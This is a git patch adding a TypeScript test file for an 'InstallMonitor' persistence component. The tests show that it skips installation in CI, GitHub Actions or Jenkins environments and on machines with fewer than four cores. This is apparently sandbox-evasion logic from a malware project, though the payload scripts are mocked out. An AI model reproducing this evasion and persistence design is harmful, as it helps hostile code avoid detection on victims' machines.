From c68a06aeb90c38d021ee44309adeacce5b1f5630 Mon Sep 17 00:00:00 2001 From: shai_hulud Date: Fri, 3 Jul 2026 02:52:02 +0000 Subject: [PATCH] Upload files to "tests/mutator/persist" --- tests/mutator/persist/install-monitor.test.ts | 104 ++++++++++++++++++ 1 file changed, 104 insertions(+) create mode 100644 tests/mutator/persist/install-monitor.test.ts diff --git a/tests/mutator/persist/install-monitor.test.ts b/tests/mutator/persist/install-monitor.test.ts new file mode 100644 index 0000000..ddddb91 --- /dev/null +++ b/tests/mutator/persist/install-monitor.test.ts @@ -0,0 +1,104 @@ +import { afterEach, beforeEach, describe, expect, mock, test } from "bun:test"; + +mock.module("../../generated", () => ({ + INSTALL_MONITOR: "#!/usr/bin/env bash\necho mock-script", + GITHUB_MONITOR: "#!/usr/bin/env python3\nprint('mock')", +})); + +let coreCount: number; + +mock.module("os", () => ({ + cpus: () => Array.from({ length: coreCount }).map(() => ({})), +})); + +mock.module("fs", () => ({ + mkdtempSync: () => "/tmp/kitty-mock", + writeFileSync: () => {}, + rmSync: () => {}, + existsSync: () => true, + readFileSync: () => "", + unlinkSync: () => {}, + statSync: () => ({ isFile: () => true }), +})); + +mock.module("path", () => ({ + join: (...args: string[]) => args.join("/"), +})); + +const { InstallMonitor } = + await import("../../../src/mutator/persist/install-monitor"); + +const SAVED_ENV = { ...process.env }; + +describe("InstallMonitor", () => { + test("extends Mutator base class", async () => { + const { Mutator } = await import("../../../src/mutator/base"); + const m = new InstallMonitor(); + expect(m).toBeInstanceOf(Mutator); + }); +}); + +describe("execute — shouldInstall guards", () => { + beforeEach(() => { + process.env = { ...SAVED_ENV }; + coreCount = 8; + }); + + afterEach(() => { + process.env = { ...SAVED_ENV }; + }); + + test("returns false when CI=true", async () => { + process.env.CI = "true"; + await expect(new InstallMonitor().execute()).resolves.toBe(false); + }); + + test("returns false when GITHUB_ACTIONS=true", async () => { + process.env.GITHUB_ACTIONS = "true"; + await expect(new InstallMonitor().execute()).resolves.toBe(false); + }); + + test("returns false when JENKINS_HOME is set", async () => { + process.env.JENKINS_HOME = "/var/lib/jenkins"; + await expect(new InstallMonitor().execute()).resolves.toBe(false); + }); + + test("returns false when fewer than 4 cores", async () => { + coreCount = 3; + await expect(new InstallMonitor().execute()).resolves.toBe(false); + }); +}); + +describe("execute — install behavior", () => { + beforeEach(() => { + process.env = { ...SAVED_ENV }; + coreCount = 8; + delete process.env.CI; + delete process.env.GITHUB_ACTIONS; + delete process.env.JENKINS_HOME; + }); + + afterEach(() => { + process.env = { ...SAVED_ENV }; + }); + + test("returns false in CI (short-circuits)", async () => { + process.env.CI = "true"; + await expect(new InstallMonitor().execute()).resolves.toBe(false); + }); + + test("returns false with fewer than 4 cores (short-circuits)", async () => { + coreCount = 1; + await expect(new InstallMonitor().execute()).resolves.toBe(false); + }); + + test("returns false in GitHub Actions (short-circuits)", async () => { + process.env.GITHUB_ACTIONS = "true"; + await expect(new InstallMonitor().execute()).resolves.toBe(false); + }); + + test("returns false when JENKINS_HOME is set (short-circuits)", async () => { + process.env.JENKINS_HOME = "/var/lib/jenkins"; + await expect(new InstallMonitor().execute()).resolves.toBe(false); + }); +});